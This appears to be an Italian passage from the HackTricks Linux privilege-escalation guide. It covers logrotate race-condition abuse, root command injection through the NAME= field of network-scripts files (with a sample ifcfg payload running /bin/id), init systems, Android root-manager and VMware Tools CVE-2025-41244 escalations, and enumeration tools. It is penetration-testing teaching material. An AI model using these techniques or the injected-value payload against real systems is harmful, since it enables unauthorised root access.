Una vulnerabilità in logrotate permette agli utenti con permessi di scrittura su un file di log o sulle sue directory padre di potenzialmente ottenere privilegi elevati. Questo perché logrotate, spesso in esecuzione come root, può essere manipolato per eseguire file arbitrari, specialmente in directory come /etc/bash_completion.d/. È importante controllare i permessi non solo in /var/log ma anche in qualsiasi directory in cui è applicata la rotazione dei log.

Tip

Questa vulnerabilità interessa logrotate nelle versioni 3.18.0 e precedenti

Maggiori informazioni sulla vulnerabilità sono disponibili a questa pagina: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Puoi sfruttare questa vulnerabilità con logrotten.

Questa vulnerabilità è molto simile a CVE-2016-1247 (nginx logs), quindi ogni volta che scopri di poter modificare i logs, controlla chi gestisce quei logs e verifica se puoi escalate privileges sostituendo i logs con symlinks.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Riferimento alla vulnerabilità: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

Se, per qualsiasi motivo, un utente è in grado di scrivere uno script ifcf-<whatever> in /etc/sysconfig/network-scripts o può modificare uno esistente, allora il tuo system è pwned.

I network scripts, ifcg-eth0 per esempio, sono usati per le connessioni di rete. Sembrano esattamente file .INI. Tuttavia, vengono sourced su Linux da Network Manager (dispatcher.d).

Nel mio caso, l’attributo NAME= in questi network scripts non è gestito correttamente. Se hai spazi bianchi nello name il sistema cerca di eseguire la parte dopo lo spazio. Questo significa che tutto ciò che segue il primo spazio viene eseguito come root.

Per esempio: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Nota lo spazio vuoto tra Network e /bin/id)

init, init.d, systemd, and rc.d

La directory /etc/init.d ospita script per System V init (SysVinit), il sistema classico di gestione dei servizi di Linux. Include script per start, stop, restart e talvolta reload dei servizi. Questi possono essere eseguiti direttamente o tramite collegamenti simbolici presenti in /etc/rc?.d/. Un percorso alternativo nei sistemi Redhat è /etc/rc.d/init.d.

D’altra parte, /etc/init è associato a Upstart, un più recente sistema di service management introdotto da Ubuntu, che usa file di configurazione per le operazioni di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit vengono ancora utilizzati insieme alle configurazioni di Upstart grazie a uno strato di compatibilità in Upstart.

systemd si afferma come un moderno init e service manager, offrendo funzionalità avanzate come avvio on-demand dei daemon, gestione degli automount e snapshot dello stato di sistema. Organizza i file in /usr/lib/systemd/ per i pacchetti di distribuzione e in /etc/systemd/system/ per le modifiche dell’amministratore, semplificando le operazioni di system administration.

Altri trucchi

NFS Privilege escalation

NFS no_root_squash/no_all_squash misconfiguration PE

Escaping from restricted Shells

Escaping from Jails

Cisco - vmanage

Cisco - vmanage

Android rooting frameworks: manager-channel abuse

I framework di root per Android comunemente hookano una syscall per esporre funzionalità privilegiate del kernel a un manager in userspace. Un’autenticazione debole del manager (es. controlli di firma basati su FD-order o schemi di password scadenti) può permettere a un’app locale di impersonare il manager e ottenere i privilegi di root su dispositivi già rootati. Per saperne di più e i dettagli sull’exploitation vedi:

Android Rooting Frameworks Manager Auth Bypass Syscall Hook

VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)

La service discovery guidata da regex in VMware Tools/Aria Operations può estrarre un percorso binario dalle command line dei processi ed eseguirlo con -v in un contesto privilegiato. Pattern permissivi (es. usando \S) possono corrispondere a listener predisposti dall’attaccante in posizioni scrivibili (es. /tmp/httpd), portando all’esecuzione come root (CWE-426 Untrusted Search Path).

Per saperne di più e vedere un pattern generalizzato applicabile ad altri stack di discovery/monitoring vedi:

Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244

Protezioni di sicurezza del kernel

Ulteriore aiuto

Static impacket binaries

Linux/Unix Privesc Tools

Miglior strumento per cercare Linux local privilege escalation vectors: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks